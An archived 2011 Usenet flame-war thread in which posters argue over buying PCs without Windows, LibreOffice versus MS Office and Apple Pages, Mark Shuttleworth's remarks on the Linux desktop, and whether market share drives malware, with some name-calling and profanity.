> limited effort was perhaps worse than useless.  I would have preferred
> that they simply made "no OS" an option in their standard system
> configuration.

If they were to do that they would likely end up with higher support costs.
Right now their support is largely: rest to factory default and let your
data die.  With a no-OS computer they would get a lot of calls from people
trying to install all sorts of stuff... and running into troubles (that is
inevitable, I am not saying Linux is hard to install).  So then they likely
would have to charge *more* for a system with no OS, or at least as much
(and that does not even take into consideration the garbage-ware that they
get paid to include).  So they would have the option to buy a full system
for X dollars or an incomplete system for the same amount or perhaps even
more.

Not exactly something one can make a good case for.

Since the no-OS option is not likely to be cheaper than than the Windows
version, and the included copy of Windows does nothing to make it harder to
install Linux, there really is no need for a no-OS version.
 
>> ...
>>>>> I agree.  I find OpenOffice (well, LibreOffice these days) to be a
>>>>> better program than MS Office.  Opinions vary, of course, and we try to
>>>>> be flexible at my company.  But I would take LibreOffice over MS Office
>>>>> regardless of the price difference.
>>>> 
>>>> What do you like about it more?
>>> 
>>> The pdf export is, of course, a major feature.
>> 
>> Well, with CutePDF or the like, that exists on Windows, too.  And if you are
>> running MS Office on a Mac, *all* Mac programs have Print to PDF *and* PDF
>> Services (easy redirecting of the PDFs to other programs or destinations...
>> comes in real handy in many cases).
> 
> We use pdfcreator as standard on all Windows PC's for general pdf
> "printing".  But pdf export directly from OpenOffice is much better than
> just a printout - the pdf file is smaller and faster to use, tables of
> contents give you proper bookmarks, and links and cross-references all
> work.  For structured documents, you get a much more professional result.

Hmmm, I know OS X's print to PDF includes a lot of that... I would have to
play with CutePDF and Word.  I thought it did, too.  I could be wrong.  If I
am, then yes, that is an advantage of OpenOffice / LibreOffice.
 
>>> But generally I've found it more stable, especially for larger documents,
>>> and I find it works better for structured documents.  To be fair, this is
>>> biased by personal use - I don't use MS Office much except to try to help
>>> others with problems.  But for some reason, the few MS Office users at the
>>> company have >>> a great deal more problems than the majority who use
>>> OpenOffice.
>>> 
>> I was helping someone the other day with LibreOffice and then showed them
>> Apple's Pages.  They stopped by this morning - and I asked them if they could
>> re-do some of the stuff we talked about in LibreOffice and in Pages (granted,
>> this is not MS Word, but I could compare that, too).
>> 
>> They agreed to let me record them and upload it:
>> <http://www.youtube.com/watch?v=ootjP-cFVO8>.
> 
> I don't have any experience with Pages, but I can give you a hint for
> OpenOffice - hold shift down when you resize, and it will keep the
> aspect ratio.  

I *expected* that.  It did not happen.  I was surprised.  Here, with the
shift-key being shown by an arrow when it is being used:

    <http://tmp.gallopinginsanity.com/shift-resize.mov>

> I'd agree that this is perhaps not intuitive, and that it should be the
> default behaviour, but it /does/ work.

If that did work it would not be that big of a deal - that is the norm for
many image programs and it could even be argued that while that is less
intuitive it is a benefit because of the consistency.

> And the "original size" button also works - but like the other sizes in the
> properties box, it is not real time - it doesn't take effect until you click
> OK.

Just tested and you are correct... but the percentages are messed up, as
shown in the original video.

Can you not see why, after working with a modern and professionally designed
package, how LibreOffice would seem a bit... primitive, for lack of a better
term?  They YouTube video really is quite telling.

>> I find these types of things in OpenOffice / LibreOffice all the time (or
>> where complaints about MS Office are not true).  From some past experiences
>> (videos of me working):
>> 
>>    Indents / styles:
>>      <http://tmp.gallopinginsanity.com/OOIndents.mov>
>>      <http://tmp.gallopinginsanity.com/OOIndents2.mov>
>> 
>>    In response to complaints about how much space the ribbon takes:
>>      <http://tmp.gallopinginsanity.com/ribbon-space.mov>
>> 
>> On and on... there just are not many places where OO/LibrO shine as far as I
>> can tell.  If you can point me to some of those areas, though, I am happy to
>> look into them and report what I find.
> 
> Well, as I say it's a lot to do with taste and how you like to use the
> program.  

I think I have given some very definite areas where OO.o/LibreO are just
objectively inferior.  You have given one where they are better at least out
of the box... though you can pretty easily upgrade MS Word to include pretty
good PDF export support (and if you need more you can get Acrobat plugins
which give you a *lot* of power with PDFs - they are not free however).

I think my LibreOffice / Pages comparison is just striking - LibreOffice is
just primitive by comparison.  I really think that is hard to argue against.

> To me, the idea of visually modifying margins by selecting bits of text and
> then creating styles out of them is working backwards - I set up my styles the
> way I want them, and use them consistently in a document.  If I want to change
> the appearance of a style, I'll modify the style - not manual modification of
> the document.  OpenOffice suits my way of working here.

If you can show an example of OpenOffice (or LibreOffice... just assume that
when I say OpenOffice!) doing what I show MS Word doing I would love to see
it.  I cannot get it to work (I have not tried in a while... maybe it has
been fixed?)

> (Actually, I prefer to write serious documents with LaTeX, but I have to make
> /some/ sacrifices for compatibility with other people.)

But you can do that on any OS.
.... 



-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 10:12:20 PM
JEDIDIAH stated in post slrnj6d486.tv1.jedi@nomad.mishnet on 9/6/11 2:30 PM:

>> Myself,  the babble of a COLA lunatics like JEDIDIAH mean nothing. It's the
>> same old excuse, after excuse and after excuse.
>> 
>> If one is broke one is using Linux. If one is on entitlement handouts, one is
>> using Linux. :)
>> 
>>>>> It's WinDOS that is the cheap freebie. That perception has helped drive
>>>>> it's adoption since the System 6 days.
>>>>> 
> If you've got a PC running Linux, then you probably have a WinDOS license.
> 
> The idea that people only run Linux "because it is cheap" is clearly absurd.
> According to the likes of Hadron the Lemming, anything you can run on Linux
> can be run on WinDOS. So there isn't even the "applications" aspect of the
> situation.
> 
> Clearly those that run Linux just want something that "sucks less".

  Question:
    -----
    What do you see as the main obstacles holding back the
    success of the Linux desktop?
    -----
  Shuttleworth:
    -----
    I think we don't yet deliver a good enough user experience. I
    think we deliver a user experience for people that have a
    reason to want to be on the Linux platform, either because of
    price or because of freedom. If that was your primary reason,
    Linux is the right answer.
    
    But if you are somebody who is not too concerned about price,
    who is not too concerned about freedom, I don't think we can
    say the Linux desktop offers the very best experience. And
    that's something we have to change, that's something I'm
    committed to work on, focusing increasing amounts of
    resources of Canonical on figuring out on how we actually
    move the desktop experience forward to compete with Mac OS X.
    -----

I agree more with Shuttleworth than I do with you.  The idea his comments
are "absurd" is rather silly - he clearly understands the open source
community very well.

-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 10:20:17 PM
TomB stated in post 20110906234554.393@usenet.drumscum.be on 9/6/11 3:01 PM:

> On 2011-09-06, the following emerged from the brain of David Brown:
> 
> 8<
> 
>> It is far from easy to buy pre-build PC's either with Linux installed,
>> or at least without Windows.  It varies quite a bit from country to
>> country - but certainly you are going to get a much smaller selection,
>> and pay higher prices.  (That's for desktops and laptops - any serious
>> server supplier will offer you machines with Linux pre-installed, or no
>> OS if you prefer.)
> 
> We have been telling this over and over again, but the silly trolls
> simply don't get it. For me, living in Belgium, it is *extremely* hard
> to buy a brand PC or laptop without MS Windows pre-installed. As far
> as I know there's just /one/ online shop offering them, that's it.

So you know of one.  OK.  And you can order online, surely.

But since offering a system without Windows is not likely to be cheaper for
a company than offering one with Windows pre-installed, why would they
bother?  What about having Windows pre-installed makes it harder for you to
install your preferred distro?

From a recent post of mine:
    -----
    There is little demand for Linux on the desktop - and those
    who do want it do not need it pre-bundled, by and large.  As
    such, when thinking in terms of the quantity of computers
    Dell and HP sell, there is essentially *no* demand for
    desktop Linux being pre-installed.  What minimal demand there
    is, of course, is split between distros: so the only way to
    meet the demand is to have multiple distros: Ubuntu and Mint
    and PCLOS and Debian and who knows how many others.  Then you
    have to market each type and explain the difference... and
    support them.

    A mess.  A money-losing proposition.  Why would Dell or HP
    even consider this?  The fact that they *have* is a good sign
    for desktop Linux - but it would be rather surprising to see
    it work.  
    -----

As a side note: even though David Brown and I do not agree - he appears
sincere and honest.  I respect his views and his communication style.  I
think the other COLA "advocates" could learn a lot from him.

> For that reason build my own desktop systems from discrete components,
> and I do not buy laptops (I have one from work though, which came with
> Windows 7 Ultimate, but atm I'm happily using Gentoo on it).
> 
> 8<
> 
>> I don't use Linux on the desktop to save money - although one of the
>> reasons why I use open source software, even on Windows desktops, is for
>> the cost.
> 
> I know not a single person who is using GNU/Linux on the desktop to
> save money. They are all using it because they are considering it the
> better option.

I have used desktop Linux to save money... and I know others who have as
well (it is a primary reason for using it).  As Shuttleworth said:

  Question:
    -----
    What do you see as the main obstacles holding back the
    success of the Linux desktop?
    -----
  Shuttleworth:
    -----
    I think we don't yet deliver a good enough user experience. I
    think we deliver a user experience for people that have a
    reason to want to be on the Linux platform, either because of
    price or because of freedom. If that was your primary reason,
    Linux is the right answer.
    
    But if you are somebody who is not too concerned about price,
    who is not too concerned about freedom, I don't think we can
    say the Linux desktop offers the very best experience. And
    that's something we have to change, that's something I'm
    committed to work on, focusing increasing amounts of
    resources of Canonical on figuring out on how we actually
    move the desktop experience forward to compete with Mac OS X.
    -----

> Imo it's even silly to assume that cost is a deciding factor to run
> GNU/Linux, as most machines come with Windows pre-installed anyway, so
> the money's already spent.

The people I know who run Linux often run it on older or second hand
computers.  

> Take my laptop for example: it has Windows installed, I can use it legally
> without a problem. But I don't. And this is because I consider GNU/Linux the
> better OS. Nothing to do with cost *at all*.

Which is great.  I do not think anyone has a problem with you doing so.
Heck, I use Linux out of choice, too - though I use it in a VM.

>> For business use, it is not the zero cost of open source software in
>> itself that saves money - it is the convenience of not having to
>> think about licensing or purchasing.
> 
> Very true. Maintaining licenses is a huge pain and additional
> administrative overhead. Nothing like that when you're mainly using
> open source software. But also the maintenance of Windows and Windows
> based services is - in my experience at least - much more work than
> with F/OSS alternatives.
> 
> 8<

The lack of license cost and upgrade cost and lack of tracking is a big
factor in my use at different schools.  No doubt.

>> For server usage, the cost savings of Linux and open source software
>> are substantial - in hardware costs, software costs, client access
>> costs, and of course in the time saved setting up and maintaining
>> the system.  Although my company uses Windows for most desktop
>> usage, we have used Linux on servers for over a decade.
> 
> We used to be pretty much a MS Windows only shop, but since I started
> working for the IT department most of our servers have been migrated
> to GNU/Linux. Huge savings coming from that, for exactly the reasons
> you note above.



-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 10:35:30 PM
Wolf K wrote this copyrighted missive and expects royalties:

> On 06/09/2011 10:17 AM, Snit wrote:
>> David Brown stated in posty5KdndE_FZh7Q_jTnZ2dnUVZ7v6dnZ2d@lyse.net  on
>> 9/6/11 1:48 AM:
>
> [snip]
>
> This is the sort of round'n'round argument that I expect on the Linux 
> newsgroups.
>
> Sigh.

Pack off.

-- 
The Moral Majority is neither.
0
ahlstromc8504 (8208)
9/6/2011 10:41:06 PM
On 06/09/2011 6:20 PM, Snit wrote:
>   Question:
>      -----
>      What do you see as the main obstacles holding back the
>      success of the Linux desktop?
>      -----


The crazies that "defend" or "advocate for" Linux.

Wolf K.
0
wekirch (32)
9/6/2011 11:35:38 PM
Wolf K stated in post 37y9q.23497$9r4.5618@unlimited.newshosting.com on
9/6/11 4:35 PM:

> On 06/09/2011 6:20 PM, Snit wrote:
>>   Question:
>>      -----
>>      What do you see as the main obstacles holding back the
>>      success of the Linux desktop?
>>      -----
> 
> 
> The crazies that "defend" or "advocate for" Linux.
> 
> Wolf K.

Yes: the false "advocate" FUD may be a pretty big deterrent to adoption.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 11:46:11 PM
On 09/06/2011 05:26 AM, chrisv wrote:
> David Brown wrote:
>
>> Shit wrote:
>>>
>>> You can also buy one from the following companies:
>>
>> It is far from easy to buy pre-build PC's either with Linux installed,
>> or at least without Windows.  It varies quite a bit from country to
>> country - but certainly you are going to get a much smaller selection,
>> and pay higher prices.
>
> Yep.  The Linux pre-builts are *not* less expensive than Windows
> pre-builts, largely due to bundleware subsidies and Micro$oft
> "incentives".
>
> This has already been explained countless times, of course, but the
> Shit troll has to spew the same old lies.
>
All he can do is lie.
0
Sneaky (395)
9/7/2011 12:24:37 AM
On 09/06/2011 02:50 AM, Hadron wrote:
> David Brown<david@westcontrol.removethisbit.com>  writes:
>
>> On 06/09/2011 02:15, Snit wrote:
>>> David Brown stated in post 0rSdnQz_n9TK-fjTnZ2dnUVZ8o-dnZ2d@lyse.net on
>>> 9/5/11 5:07 PM:
>>>
>>>> On 03/09/11 16:34, Snit wrote:
>>>>> David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
>>>>> 9/3/11 6:26 AM:
>>>>>
>>>>>> On 03/09/11 01:38, Big Steel wrote:
>>>>>>>
>>>>>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>>>>>> used which is usually a sign that the user is broke and doesn't have any
>>>>>>> money. :)
>>>>>>
>>>>>> Most Linux desktop users have a Windows license for their machines as
>>>>>> well, because it is difficult to buy a machine without one.  If you want
>>>>>> a PC without Windows, you usually have to build it yourself - and that
>>>>>> is normally more expensive than a pre-build one.
>>>>>
>>>>> You can also buy one from the following companies:
>>>>>
>>>>>        Abaco Computers
>>>>>        Blackstone Systems
>>>>>        Codelock Computer
>>>>>        ComputadoresLinux
>>>>>        Dell
>>>>>        Eight Virtues
>>>>>        Emperor Linux
>>>>>        eRack
>>>>>        Evo Technologies
>>>>>        Fit-PC
>>>>>        Frostbite Systems
>>>>>        Genesi USA
>>>>>        HP
>>>>>        Inatux
>>>>>        LinPC
>>>>>        Linutop
>>>>>        Linux Certified
>>>>>        Linux Emporium
>>>>>        Linux-service.be
>>>>>        Los Alamos Computers
>>>>>        open-pc
>>>>>        System76
>>>>>        Think Penguin
>>>>>        Zareason
>>>>>        Zinside
>>>>>
>>>>> And likely more.
>>>>
>>>> It is far from easy to buy pre-build PC's either with Linux installed,
>>>> or at least without Windows.
>>>
>>> It is pretty trivial to buy a PC without windows (for an experience user) -
>>> esp. if you include Macs as PCs.  But, sure, there is so little demand for
>>> them it is not the norm.
>>>
>>
>> Excluding Macs, obviously, it is not easy to get a PC without windows -
>> the big shops and big suppliers don't sell them.  You need to get them from a
>> small place that builds themselves, or a company that specialises in such
>> machines.  That will often mean better quality machines - but it will mean less
>> choice (especially for laptops) and higher prices.
>
> Of course. You said that. Whats your point? If you want a minority
> product surely you understand it wont be in every retail outlet? All my
> last PCs came without and OS. If you're smart enough to want Linux at
> home then you're smart enough to buy a second hand PC and/or a PC
> without an OS. Just about every town as a  PC shop that make a PC for
> you at a very reasonable cost - without an OS. And you're wrong about
> the price. It might well cost more WITH Windows since they charge you
> the license cost. If you want Linux it MIGHT cost you more since they
> have to install it for you and get HW that they know works with it.

If people had the choice to buy Mint preinstalled on computers they 
would buy that instead of Windows or Mac shit.  It has no viruses and 
works perfectly. Why would people want to spend more on something that 
gets viruses and slows down over time? You see everyone as being too 
stupid to figure this out.
0
Sneaky (395)
9/7/2011 12:29:11 AM
Sneaky Weasel stated in post 4e66badc$1@news.x-privat.org on 9/6/11 5:29 PM:

>>> Excluding Macs, obviously, it is not easy to get a PC without windows -
>>> the big shops and big suppliers don't sell them.  You need to get them from
>>> a
>>> small place that builds themselves, or a company that specialises in such
>>> machines.  That will often mean better quality machines - but it will mean
>>> less
>>> choice (especially for laptops) and higher prices.
>> 
>> Of course. You said that. Whats your point? If you want a minority
>> product surely you understand it wont be in every retail outlet? All my
>> last PCs came without and OS. If you're smart enough to want Linux at
>> home then you're smart enough to buy a second hand PC and/or a PC
>> without an OS. Just about every town as a  PC shop that make a PC for
>> you at a very reasonable cost - without an OS. And you're wrong about
>> the price. It might well cost more WITH Windows since they charge you
>> the license cost. If you want Linux it MIGHT cost you more since they
>> have to install it for you and get HW that they know works with it.
> 
> If people had the choice to buy Mint preinstalled on computers they
> would buy that instead of Windows or Mac shit.  It has no viruses and
> works perfectly. Why would people want to spend more on something that
> gets viruses and slows down over time? You see everyone as being too
> stupid to figure this out.

It people had the choice to buy Mint preinstalled they would largely ignore
it - just as they do with Ubuntu. As much as desktop Linux in general and
Mint in particular have gotten a lot better than desktop Linux was even a
year or two ago, it still has a long way to go.  Here, a video I made from
earlier today:

    <http://www.youtube.com/watch?v=ootjP-cFVO8>

In comparison to a modern and well done program, LibreOffice looks
positively primitive.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 12:56:35 AM
Wolf K wrote this copyrighted missive and expects royalties:

> On 06/09/2011 6:20 PM, Snit wrote:
>>   Question:
>>      -----
>>      What do you see as the main obstacles holding back the
>>      success of the Linux desktop?
>>      -----
>
> The crazies that "defend" or "advocate for" Linux.
>
> Wolf K.

You mean like Mark Shuttleworth?

Idiot.

-- 
According to the Rand McNally Places-Rated Almanac, the best place to live in
America is the city of Pittsburgh.  The city of New York came in twenty-fifth.
Here in New York we really don't care too much.  Because we know that we could
beat up their city anytime.
		-- David Letterman
0
ahlstromc8504 (8208)
9/7/2011 1:06:30 AM
Snit wrote:
> Wolf K stated in post 37y9q.23497$9r4.5618@unlimited.newshosting.com on
> 9/6/11 4:35 PM:
>
>> On 06/09/2011 6:20 PM, Snit wrote:
>>>    Question:
>>>       -----
>>>       What do you see as the main obstacles holding back the
>>>       success of the Linux desktop?
>>>       -----
>>
>>
>> The crazies that "defend" or "advocate for" Linux.
>>
>> Wolf K.
>
> Yes: the false "advocate" FUD may be a pretty big deterrent to adoption.
>
>
I don't know if it is a deterrent, but it sure isn't good when the 
forever clueless are there to help. :o)

While we've got the collection of groups we have right now, I would like 
to ask just where we should draw the line between the operating system 
and the user's choice programs we choose to run.

Windows users tend to think that everything that came with Windows
is "The Windows OS" while in the Linux world you choose your shell and 
many other things or just use what came with the distro.

Malware exists largely within this "user's choice" area both in being 
bad choices because they present exploitable vulnerabilities or simply 
by being malware themselves. Attacks against applications aren't the 
same as attacks against an OS. The choice of using managed repositories 
and executable bits needing to be set before execution is possible is 
not really "Linux" is it? I mean it's not part of the security of the OS 
itself, and malware/viruses don't care anyway since they are mainly just 
bad choices.

In Windows, is "Notepad" part of the OS? There are some administrative 
"tools" that rely on it I think, but are those tools really part of the 
OS if you're talking about the security of the OS?
0
erratic (209)
9/7/2011 1:17:42 AM
Chris Ahlstrom stated in post j46gau$mdn$1@dont-email.me on 9/6/11 6:06 PM:

> Wolf K wrote this copyrighted missive and expects royalties:
> 
>> On 06/09/2011 6:20 PM, Snit wrote:
>>>   Question:
>>>      -----
>>>      What do you see as the main obstacles holding back the
>>>      success of the Linux desktop?
>>>      -----
>> 
>> The crazies that "defend" or "advocate for" Linux.
>> 
>> Wolf K.
> 
> You mean like Mark Shuttleworth?
> 
> Idiot.

Shuttleworth is honest about his advocacy.  None of the false "advocates" in
COLA would say what he does:

  Question:
    -----
    What do you see as the main obstacles holding back the
    success of the Linux desktop?
    -----
  Shuttleworth:
    -----
    I think we don't yet deliver a good enough user experience. I
    think we deliver a user experience for people that have a
    reason to want to be on the Linux platform, either because of
    price or because of freedom. If that was your primary reason,
    Linux is the right answer.
    
    But if you are somebody who is not too concerned about price,
    who is not too concerned about freedom, I don't think we can
    say the Linux desktop offers the very best experience. And
    that's something we have to change, that's something I'm
    committed to work on, focusing increasing amounts of
    resources of Canonical on figuring out on how we actually
    move the desktop experience forward to compete with Mac OS X.
    -----



-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 1:20:26 AM
FromTheRafters stated in post j46gnp$ore$1@dont-email.me on 9/6/11 6:17 PM:

> Snit wrote:
>> Wolf K stated in post 37y9q.23497$9r4.5618@unlimited.newshosting.com on
>> 9/6/11 4:35 PM:
>> 
>>> On 06/09/2011 6:20 PM, Snit wrote:
>>>>    Question:
>>>>       -----
>>>>       What do you see as the main obstacles holding back the
>>>>       success of the Linux desktop?
>>>>       -----
>>> 
>>> 
>>> The crazies that "defend" or "advocate for" Linux.
>>> 
>>> Wolf K.
>> 
>> Yes: the false "advocate" FUD may be a pretty big deterrent to adoption.
>> 
> I don't know if it is a deterrent, but it sure isn't good when the
> forever clueless are there to help. :o)

Imagine if they are in the real world as they present themselves in COLA.
They would chase people away from Linux.  Lies do that.

> While we've got the collection of groups we have right now, I would like
> to ask just where we should draw the line between the operating system
> and the user's choice programs we choose to run.

Not sure I follow.

> Windows users tend to think that everything that came with Windows
> is "The Windows OS" while in the Linux world you choose your shell and
> many other things or just use what came with the distro.

Many users do not really get the concept of what is the OS vs. apps or even
files and folders and the like.  To many, photos are "in" their image
organizer, word documents are "in" their word processor, etc.  Most OSs have
no stepping stones to help build these concepts.

> Malware exists largely within this "user's choice" area both in being
> bad choices because they present exploitable vulnerabilities or simply
> by being malware themselves. Attacks against applications aren't the
> same as attacks against an OS. The choice of using managed repositories
> and executable bits needing to be set before execution is possible is
> not really "Linux" is it? I mean it's not part of the security of the OS
> itself, and malware/viruses don't care anyway since they are mainly just
> bad choices.
> 
> In Windows, is "Notepad" part of the OS? There are some administrative
> "tools" that rely on it I think, but are those tools really part of the
> OS if you're talking about the security of the OS?

When I talk about Windows or Mint or OS X I *generally* mean the
environment.  That is far more important in terms of thinking of usage.

-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 1:29:11 AM
On 09/06/2011 05:56 PM, Snit wrote:
> Sneaky Weasel stated in post 4e66badc$1@news.x-privat.org on 9/6/11 5:29 PM:
>
>>>> Excluding Macs, obviously, it is not easy to get a PC without windows -
>>>> the big shops and big suppliers don't sell them.  You need to get them from
>>>> a
>>>> small place that builds themselves, or a company that specialises in such
>>>> machines.  That will often mean better quality machines - but it will mean
>>>> less
>>>> choice (especially for laptops) and higher prices.
>>>
>>> Of course. You said that. Whats your point? If you want a minority
>>> product surely you understand it wont be in every retail outlet? All my
>>> last PCs came without and OS. If you're smart enough to want Linux at
>>> home then you're smart enough to buy a second hand PC and/or a PC
>>> without an OS. Just about every town as a  PC shop that make a PC for
>>> you at a very reasonable cost - without an OS. And you're wrong about
>>> the price. It might well cost more WITH Windows since they charge you
>>> the license cost. If you want Linux it MIGHT cost you more since they
>>> have to install it for you and get HW that they know works with it.
>>
>> If people had the choice to buy Mint preinstalled on computers they
>> would buy that instead of Windows or Mac shit.  It has no viruses and
>> works perfectly. Why would people want to spend more on something that
>> gets viruses and slows down over time? You see everyone as being too
>> stupid to figure this out.
>
> It people had the choice to buy Mint preinstalled they would largely ignore
> it - just as they do with Ubuntu. As much as desktop Linux in general and
> Mint in particular have gotten a lot better than desktop Linux was even a
> year or two ago, it still has a long way to go.  Here, a video I made from
> earlier today:
>
>      <http://www.youtube.com/watch?v=ootjP-cFVO8>
>
> In comparison to a modern and well done program, LibreOffice looks
> positively primitive.
>
>
LibreOffice does everything I need it to do and a lot more. Most people 
never use a fraction of what any of these office programs do so any of 
them will work just fine.
0
Sneaky (395)
9/7/2011 1:32:07 AM
Sneaky Weasel stated in post 4e66c99b$1@news.x-privat.org on 9/6/11 6:32 PM:

> On 09/06/2011 05:56 PM, Snit wrote:
>> Sneaky Weasel stated in post 4e66badc$1@news.x-privat.org on 9/6/11 5:29 PM:
>> 
>>>>> Excluding Macs, obviously, it is not easy to get a PC without windows -
>>>>> the big shops and big suppliers don't sell them.  You need to get them
>>>>> from
>>>>> a
>>>>> small place that builds themselves, or a company that specialises in such
>>>>> machines.  That will often mean better quality machines - but it will mean
>>>>> less
>>>>> choice (especially for laptops) and higher prices.
>>>> 
>>>> Of course. You said that. Whats your point? If you want a minority
>>>> product surely you understand it wont be in every retail outlet? All my
>>>> last PCs came without and OS. If you're smart enough to want Linux at
>>>> home then you're smart enough to buy a second hand PC and/or a PC
>>>> without an OS. Just about every town as a  PC shop that make a PC for
>>>> you at a very reasonable cost - without an OS. And you're wrong about
>>>> the price. It might well cost more WITH Windows since they charge you
>>>> the license cost. If you want Linux it MIGHT cost you more since they
>>>> have to install it for you and get HW that they know works with it.
>>> 
>>> If people had the choice to buy Mint preinstalled on computers they
>>> would buy that instead of Windows or Mac shit.  It has no viruses and
>>> works perfectly. Why would people want to spend more on something that
>>> gets viruses and slows down over time? You see everyone as being too
>>> stupid to figure this out.
>> 
>> It people had the choice to buy Mint preinstalled they would largely ignore
>> it - just as they do with Ubuntu. As much as desktop Linux in general and
>> Mint in particular have gotten a lot better than desktop Linux was even a
>> year or two ago, it still has a long way to go.  Here, a video I made from
>> earlier today:
>> 
>>      <http://www.youtube.com/watch?v=ootjP-cFVO8>
>> 
>> In comparison to a modern and well done program, LibreOffice looks
>> positively primitive.
>> 
>> 
> LibreOffice does everything I need it to do and a lot more. Most people
> never use a fraction of what any of these office programs do so any of
> them will work just fine.

What it can do is not the only important thing to consider - *how* it does
it matters.

Watch the video.  LibreOffice is primitive compared to a modern and well
designed program.  


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 1:36:53 AM
On Tue, 06 Sep 2011 18:32:07 -0700, Sneaky Weasel wrote:

> LibreOffice does everything I need it to do and a lot more. Most people
> never use a fraction of what any of these office programs do so any of
> them will work just fine.

Exactly. For the few machines that actually use Office macros, run Windows 
(or Wine) and M$ Office. For everyone else, use OOo or LibreOffice. 

Non-problem solved.

-- 
RonB
Registered Linux User #498581 
CentOS 5.6 or VectorLinux Deluxe 6.0
or Linux Mint 10
0
ronb02noSPAM (7426)
9/7/2011 1:50:41 AM
RonB stated in post j46ilh$1gf$1@dont-email.me on 9/6/11 6:50 PM:

> On Tue, 06 Sep 2011 18:32:07 -0700, Sneaky Weasel wrote:
> 
>> LibreOffice does everything I need it to do and a lot more. Most people
>> never use a fraction of what any of these office programs do so any of
>> them will work just fine.
> 
> Exactly. For the few machines that actually use Office macros, run Windows
> (or Wine) and M$ Office. For everyone else, use OOo or LibreOffice.
> 
> Non-problem solved.

Funny how you snipped the link: <http://www.youtube.com/watch?v=ootjP-cFVO8>

LibreOffice is *primitive* compared to a modern and well done offfice
package, at least in the area I show.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 1:58:33 AM
Snit wrote:
> FromTheRafters stated in post j46gnp$ore$1@dont-email.me on 9/6/11 6:17 PM:
>
>> Snit wrote:
>>> Wolf K stated in post 37y9q.23497$9r4.5618@unlimited.newshosting.com on
>>> 9/6/11 4:35 PM:
>>>
>>>> On 06/09/2011 6:20 PM, Snit wrote:
>>>>>     Question:
>>>>>        -----
>>>>>        What do you see as the main obstacles holding back the
>>>>>        success of the Linux desktop?
>>>>>        -----
>>>>
>>>>
>>>> The crazies that "defend" or "advocate for" Linux.
>>>>
>>>> Wolf K.
>>>
>>> Yes: the false "advocate" FUD may be a pretty big deterrent to adoption.
>>>
>> I don't know if it is a deterrent, but it sure isn't good when the
>> forever clueless are there to help. :o)
>
> Imagine if they are in the real world as they present themselves in COLA.
> They would chase people away from Linux.  Lies do that.
>
>> While we've got the collection of groups we have right now, I would like
>> to ask just where we should draw the line between the operating system
>> and the user's choice programs we choose to run.
>
> Not sure I follow.

Well, the idea that Linux for instance is more secure because you get 
your programs from a managed repository as source code files and compile 
them yourself. The OS is not enforcing that behavior, so is that really 
a valid point at all?

Would we really want a system where we can only run approved programs? 
That seems to be the direction "Trusted Computing" wants to go - and to 
me that is a turn away from general purpose computing's allowing the 
freedom of users choice programs.
>
>> Windows users tend to think that everything that came with Windows
>> is "The Windows OS" while in the Linux world you choose your shell and
>> many other things or just use what came with the distro.
>
> Many users do not really get the concept of what is the OS vs. apps or even
> files and folders and the like.  To many, photos are "in" their image
> organizer, word documents are "in" their word processor, etc.  Most OSs have
> no stepping stones to help build these concepts.

That's true. That's what the GUI is supposed to do, make them think in a 
more intuitive familiar physical manner rather than the actual truth of 
the matter.

[...]

> When I talk about Windows or Mint or OS X I *generally* mean the
> environment.  That is far more important in terms of thinking of usage.

Does that environment extend into the users themselves? I mean, Linux 
used to be more secure because clueless users found it too difficult to 
use and settled for Windows instead. IMO in this case it is not really 
about Linux but about the class of users that are attracted to it. Same 
goes for some practices that are associated with Linux but not actually 
a part of Linux - like where you get new programs, it's user's choice 
and not a function of the OS. This is one aspect of the Linux experience 
but not really Linux itself.
0
erratic (209)
9/7/2011 2:15:14 AM
RayLopez99 <raylopez88@gmail.com> wrote in
news:3c7ad551-2ed9-40e7-b4d8-0784b5aa9ff9@m4g2000pri.googlegroups.com: 

> On Sep 3, 7:02�am, Dustin <bughunter.dus...@gmail.com> wrote:
>> RayLopez99 <raylope...@gmail.com> wrote in
>> news:c1035590-cbb8-4c5e-a9b7- 
>> 2473f87e1...@t7g2000vbv.googlegroups.com: 
>>
>> > That's so true Dustin. �Linux is 'security by obscurity', with
>> > market share being the obscurity. At one time people suggested
>> > using Firefox because it had less market share than MSFT IE, and
>> > so fewer browser exploits, but that advantage faded as soon as
>> > they picked up market share.
>>
>> Calling me a clown and ragging on me, then having to accept what I
>> said must irritate you. eh? Ass fuck.
> 
> Shit for brains Dustin I was actually trying to make you look more
> impressive than you actually are. I was pumping you up, you dump.
> Lern to reed.

Sure ray...Btw, it's "Learn to read". dumbass.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/7/2011 2:17:19 AM
Peter =?UTF-8?B?S8O2aGxtYW5u?= <peter-koehlmann@t-online.de> wrote in
news:j3tsg2$78p$1@dont-email.me: 

> Maybe not Fort Know, but a lot safer? You bet

I doubt it.
 
> And that same old bullshit over and over again.

Not bullshit.
 
> Tell me, how did I ever get that Mac I use for programming OSX
> stuff? How did I buy those other 7 computers I to be found here?
> How did my son get his Mac? His iPhone?

I think you missed the point here.
 
> How did I ever get to buy a sailboat?

Yep, you didn't get what I wrote at all.
 
> Just don't tell us that you try to be dumber than Hadron Larry.
> First, thats a near impossible feat. Second, it is by no means
> desireable 

First,

I'm a professional malware researcher with long standing credentials in 
the field. 

Second,
When I said linux wasn't a money maker, I was talking about that from 
the malware author benefits. Theres no money in 0wning linux boxes, 
yet.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/7/2011 2:19:32 AM
JEDIDIAH <jedi@nomad.mishnet> wrote in
news:slrnj68fcr.jd9.jedi@nomad.mishnet: 

> trust bears repeating about now. Whether or not malware exists on a
> platform is entirely a matter of how good of a breeding ground it
> is. What kind of security holes exist on the platform? How can an
> infection be created and spread?

Not true these days. Malware creation is financially driven now.
 
>     "How many machines are out there?" is quite irrelevant.

Not if you want a wide target audience. it's extremely relevent.
 
